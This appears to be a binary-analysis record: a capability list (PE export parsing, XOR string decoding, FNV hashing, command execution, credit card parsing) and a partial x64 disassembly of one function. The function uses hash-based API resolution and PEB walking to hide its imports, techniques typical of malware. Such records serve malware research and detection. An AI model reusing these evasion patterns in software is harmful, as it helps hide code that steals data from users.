Function at 0x140036da0
Capabilities:
Access peb ldr_data
Authenticate hmac
Delete file
Encode data using xor
Execute command
Hash data using fnv
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10b0]
mov eax, 0x11b0
call fcn.14004abc0
sub rsp, rax
movaps xmmword [rsp + 0x11a0], xmm6
movaps xmmword [rsp + 0x1190], xmm7
movaps xmmword [rsp + 0x1180], xmm8
mov rax, qword [0x14005f010]
xor rax, rsp
mov qword [rbp + 0x1070], rax
lea rdx, [0x1400275d0]
lea rcx, [rbp + 0x798]
call fcn.1400435f0
nop
lea rcx, [rbp + 0x798]
call fcn.140029bf0
nop
cmp dword [rbp + 0x7a0], 0
je 0x140036e28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xorps xmm0, xmm0
movups xmmword [rbp + 0xf48], xmm0
lea rax, [rbp + 0xb30]
mov qword [rbp + 0xef0], rax
movups xmm0, xmmword [0x14004e950]
movups xmmword [rbp + 0xb70], xmm0
movups xmm1, xmmword [0x14004e960]
movups xmmword [rbp + 0xb80], xmm1
movups xmm0, xmmword [0x14004e970]
movups xmmword [rbp + 0xb90], xmm0
movups xmm1, xmmword [0x14004e980]
movups xmmword [rbp + 0xba0], xmm1
movups xmm0, xmmword [0x14004e990]
movups xmmword [rbp + 0xbb0], xmm0
mov eax, dword [0x14004e9a0]
mov dword [rbp + 0xbc0], eax
xor r8d, r8d
lea r15d, [r8 + 4]
lea r12d, [r8 + 0x1f]
mov r14d, dword [0x14005f018]
cmp r14d, 2
jl 0x140036ff3
movdqa xmm5, xmmword [0x140058c70]
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb74]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140036ef0
cmp r8d, 0x54
jge 0x140037030
movsxd rax, r8d
lea r9, [rbp + 0xb70]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x54
jl 0x140037000
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xb30]
call fcn.140029060
nop
lea rax, [rbp + 0xb70]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140037053
lea rdx, [rbp + 0xb70]
lea rcx, [rbp + 0xb30]
call fcn.140029080
nop
lea rcx, [rbp + 0xeb0]
call fcn.140026b10
nop
lea rdx, [rbp + 0xb30]
mov rcx, rax
call fcn.140027380
test al, al
je 0x140037098
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea rax, [rbp + 0xb50]
mov qword [rbp - 0x28], rax
movups xmm0, xmmword [str.QNOLN]
movups xmmword [rbp + 0xbd0], xmm0
movups xmm1, xmmword [0x14004eb30]
movups xmmword [rbp + 0xbe0], xmm1
movups xmm0, xmmword [0x14004eb40]
movups xmmword [rbp + 0xbf0], xmm0
movups xmm1, xmmword [0x14004eb50]
movups xmmword [rbp + 0xc00], xmm1
movups xmm0, xmmword [0x14004eb60]
movups xmmword [rbp + 0xc10], xmm0
movsd xmm0, qword [0x14004eb70]
movsd qword [rbp + 0xc20], xmm0
cmp r14d, 2
jl 0x14003723e
movdqa xmm5, xmmword [0x140058c70]
xor edx, edx
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xbd4]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x140037141
jmp 0x140037280
lea r9, [rbp + 0xbd0]
xor r8d, r8d
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x140037250
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xb50]
call fcn.140029060
nop
lea rax, [rbp + 0xbd0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400372a0
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp + 0xb50]
call fcn.140029080
nop
lea rcx, [rbp + 0xed0]
call fcn.140026b10
nop
lea rdx, [rbp + 0xb50]
mov rcx, rax
call fcn.140027380
test al, al
je 0x1400372e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea rdx, [0x14002b6e0]
lea rcx, [rbp + 0x758]
call fcn.1400435f0
nop
lea rcx, [rbp + 0x758]
call fcn.140029bf0
nop
cmp dword [rbp + 0x760], 0
je 0x140037316
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword [str.ZUWSO]
mov qword [rbp - 0x48], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400373b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400373b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xfa4484ef
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400373b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037390
cmp r8d, 0xae47f4e
je 0x1400373bb
test r9d, r9d
jne 0x140037370
mov rax, qword [rax]
jmp 0x140037340
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r14d, 2
jl 0x1400374db
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm2, xmmword [0x140058c70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140058c90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
mov eax, dword [0x140058d20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x48]
xorps xmm2, xmm1
movd dword [rbp - 0x48], xmm2
movdqa xmm3, xmmword [0x140058c80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140058c90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x44]
xorps xmm2, xmm1
movd dword [rbp - 0x44], xmm2
jmp 0x140037520
lea r9, [rbp - 0x48]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400374f0
lea rcx, [rbp - 0x48]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400375b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400375b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1cabf1e9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400375b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037590
cmp r8d, 0x6492bdec
je 0x1400375bb
test r9d, r9d
jne 0x140037570
mov rax, qword [rax]
jmp 0x140037540
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov r13, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037666
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037666
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x43411c1b
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140037661
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140037640
cmp r8d, 0x4052d376
je 0x14003766b
test r9d, r9d
jne 0x140037620
mov rcx, qword [rcx]
jmp 0x1400375f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037716
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037716
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x6c201f77
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140037711
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400376f0
cmp r8d, 0xa3b56e83
je 0x14003771b
test r9d, r9d
jne 0x1400376d0
mov rcx, qword [rcx]
jmp 0x1400376a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0xf38]
mov rcx, r14
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400377d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400377d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2dc18a0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400377d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400377b0
cmp r8d, 0xeb1b2ffb
je 0x1400377db
test r9d, r9d
jne 0x140037790
mov rax, qword [rax]
jmp 0x140037760
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0xfffffff5
call rdx
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037886
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037886
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x4abc99f0
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140037881
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140037860
cmp r8d, 0x4a6ec353
je 0x14003788b
test r9d, r9d
jne 0x140037840
mov rcx, qword [rcx]
jmp 0x140037810
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0xf00]
mov rcx, r12
call r8
movzx ecx, word [rbp + 0xf10]
sub cx, word [rbp + 0xf0c]
inc cx
movzx eax, word [rbp + 0xf00]
mov word [rbp + 0xef0], ax
mov word [rbp + 0xef2], cx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037966
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037966
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc41c4302
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037961
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037940
cmp r8d, 0xa26e95e7
je 0x14003796b
test r9d, r9d
jne 0x140037920
mov rax, qword [rax]
jmp 0x1400378f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 0xffffffec
mov rcx, r13
call r8
mov r14d, eax
bts r14d, 0x13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037a26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037a26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc51c4495
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037a21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037a00
cmp r8d, 0x89000a1c
je 0x140037a2b
test r9d, r9d
jne 0x1400379e0
mov rax, qword [rax]
jmp 0x1400379b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, r14d
mov edx, 0xffffffec
mov rcx, r13
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140037ae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037ae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x2d521eda
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037ae1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037ac0
cmp r8d, 0x28ca5ff
je 0x140037aeb
test r9d, r9d
jne 0x140037aa0
mov rax, qword [rax]
jmp 0x140037a70
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 2
mov r8b, 0xc8
xor edx, edx
mov rcx, r13
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037ba6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037ba6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x2a92bbcf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037ba1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037b80
cmp r8d, 0x14577dc2
je 0x140037bab
test r9d, r9d
jne 0x140037b60
mov rax, qword [rax]
jmp 0x140037b30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037c56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037c56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xf818b50e
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140037c51
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140037c30
cmp r8d, 0x2a16b733
je 0x140037c5b
test r9d, r9d
jne 0x140037c10
mov rcx, qword [rcx]
jmp 0x140037be0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 0xfffffff0
mov rcx, r15
call r8
mov r14d, eax
and r14d, 0xfff8ffff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037d16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037d16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xf918b6a1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037d11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037cf0
cmp r8d, 0x689b6930
je 0x140037d1b
test r9d, r9d
jne 0x140037cd0
mov rax, qword [rax]
jmp 0x140037ca0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, r14d
mov edx, 0xfffffff0
mov rcx, r15
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037dd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037dd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2cce19d1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037dd1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037db0
cmp r8d, 0xc3c5084b
je 0x140037ddb
test r9d, r9d
jne 0x140037d90
mov rax, qword [rax]
jmp 0x140037d60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, dword [rbp + 0xef0]
mov rcx, r12
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140037e86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037e86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xed39d8e8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037e81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037e60
cmp r8d, 0x68c5417e
je 0x140037e8b
test r9d, r9d
jne 0x140037e40
mov rax, qword [rax]
jmp 0x140037e10
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x30], 0x63
xor r15d, r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, r13
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037f56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037f56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x891e0b44
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037f51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037f30
cmp r8d, 0x56a9bfc1
je 0x140037f5b
test r9d, r9d
jne 0x140037f10
mov rax, qword [rax]
jmp 0x140037ee0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 0xfffffff0
mov rcx, r13
call r8
mov r14d, eax
btr r14d, 0x11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
